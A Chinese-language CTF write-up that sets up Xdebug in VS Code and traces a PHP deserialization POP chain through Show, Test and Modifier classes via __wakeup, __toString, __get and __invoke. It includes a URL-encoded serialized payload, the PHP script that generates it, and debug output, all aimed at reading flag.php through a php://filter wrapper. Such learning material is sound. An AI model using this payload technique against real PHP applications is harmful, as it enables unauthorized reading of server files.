安装Xdebug通过vscode调试

参考：https://www.cnblogs.com/phonecom/p/10340038.html#/c/subject/p/10340038.html

配置Xdebug文件时去掉分号

[XDebug]
xdebug.profiler_output_dir="H:\phpstudy2016\tmp\xdebug"
xdebug.trace_output_dir="H:\phpstudy2016\tmp\xdebug"
zend_extension="H:\phpstudy2016\php\php-5.4.45\ext\php_xdebug.dll"
xdebug.remote_enable = 1
xdebug.remote_autostart = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_port = "9001"
xdebug.remote_host = "127.0.0.1"
xdebug.remote_autostart = 1

题解参考

https://blog.csdn.net/weixin_43952190/article/details/106016260

http://t.zoukankan.com/yunqian2017-p-13817032.html 

先将

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

传入，尝试调试。

 

 进入wakeup()函数

 

 即wakeup()在用unserialize()时触发。

在wakeup中，要通过perg_match()将$this->source做字符串比较，若this->source是show类，调用toString()方法。

然后进入toString():当一个对象被当作一个字符串被调用

即

 

 若是toString()中str赋值为一个实例化Test类，Test中无source属性，则调用get()方法:从不可访问的属性读取数据

$a->str=new Test();

 

 

 如果get()中p赋值为Modifier类，相当于Modifier类被当作函数处理，调用invoke()方法：尝试将对象调用为函数时触发。

$a->str->p=new Modifier();

 

 

 再来看一下exp代码

<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return "karsa";
}
}

class Test{
public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>

修改代码

class Show{
    public $source;
    public $str;
    public function __construct($file){
    $this->source = $file;
    echo var_dump($this->source);
    }
    public function __toString(){
        return "karsa";
    }
}

 

object(Show)[1]
  public 'source' => string 'aaa' (length=3)
  public 'str' => 
    object(Test)[2]
      public 'p' => 
        object(Modifier)[3]
          protected 'var' => string 'php://filter/read=convert.base64-encode/resource=flag.php' (length=57)

 

 可发现在执行$b=new Show($a)后，$this->source是Show类，$this->source->source="aaa"，this->source->str是Test类，且无source属性。this->source->str->p为Modifier()